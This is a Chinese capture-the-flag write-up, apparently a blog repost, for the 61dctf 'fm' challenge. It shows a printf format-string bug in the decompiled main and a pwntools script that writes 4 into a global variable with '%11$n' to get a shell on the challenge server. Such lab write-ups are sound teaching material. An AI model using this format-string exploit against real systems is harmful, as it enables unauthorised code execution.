当前位置:网站首页>[61dctf]fm
[61dctf]fm
2022-07-05 16:06:00 【[mzq]】
[61dctf]fm
附件地址 : https://dn.jarvisoj.com/challengefiles/fm.eaef2247796c11db798a579396482399
nc pwn2.jarvisoj.com 9895

checksec Canary found栈溢出行不通

main函数
在if判断了x的值,但是x的值是我们不可控制的,printf输出了&buf的值,这里是可以进行格式化字符串攻击的,而且if判断的是4 而$n可以输出4的int值到任意的地址中。

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+2Ch] [ebp-5Ch]
unsigned int v5; // [esp+7Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(&buf, 0, 0x50u);
read(0, &buf, 0x50u);
printf(&buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}
可以看到输出aaaa的偏移量的11


通过动态调试,把x的值设置为0x4,运行后确实得到shell


exp

from pwn import *
io = process("./stack")
io = remote("pwn2.jarvisoj.com", 9895)
x_addr = 0x0804A02C
context(log_level="debug", arch="i386")
payload = flat([x_addr,'%11$n'])
io.sendline(payload)
io.interactive()
边栏推荐
- OneForAll安装使用
- 详解SQL中Groupings Sets 语句的功能和底层实现逻辑
- [deep learning] [original] let yolov6-0.1.0 support the txt reading dataset mode of yolov5
- Benji Bananas 会员通行证持有人第二季奖励活动更新一览
- The list set is summed up according to a certain attribute of the object, the maximum value, etc
- Obj resolves to a set
- Intel 13th generation Raptor Lake processor information exposure: more cores, larger cache
- Mongodb getting started Tutorial Part 04 mongodb client
- [echart] resize lodash 实现窗口缩放时图表自适应
- Detailed explanation of use scenarios and functions of polar coordinate sector diagram
猜你喜欢

新春限定丨“牛年忘烦”礼包等你来领~

【刷题篇】有效的数独

Android 隐私沙盒开发者预览版 3: 隐私安全和个性化体验全都要

如何安装mysql

服务器的数据库连不上了2003,10060“Unknown error“【服务已起、防火墙已关、端口已开、netlent 端口不通】

Domestic API management artifact used by the company

Oneforall installation and use

《21天精通TypeScript-3》-安装搭建TypeScript开发环境.md

清晰还原31年前现场,火山引擎超清修复Beyond经典演唱会

Parameter type setting error during batch update in project SQL
随机推荐
Desci: is decentralized science the new trend of Web3.0?
You should have your own persistence
EDI许可证和ICP经营性证有什么区别
The list set is summed up according to a certain attribute of the object, the maximum value, etc
Pits encountered in the use of boolean type in development
10分钟帮你搞定Zabbix监控平台告警推送到钉钉群
Practice independent and controllable 3.0 and truly create the open source business of the Chinese people
ES6 deep - ES6 class class
[vulnerability warning] cve-2022-26134 conflict Remote Code Execution Vulnerability POC verification and repair process
Global Data Center released DC brain system, enabling intelligent operation and management through science and technology
Query the latest record in SQL
The memory of a Zhang
PHP 严格模式
Oneforall installation and use
Migrate /home partition
Dare not buy thinking
Sentinel flow guard
List de duplication and count the number
解决CMakeList find_package找不到Qt5,找不到ECM
[js] skill simplification if empty judgment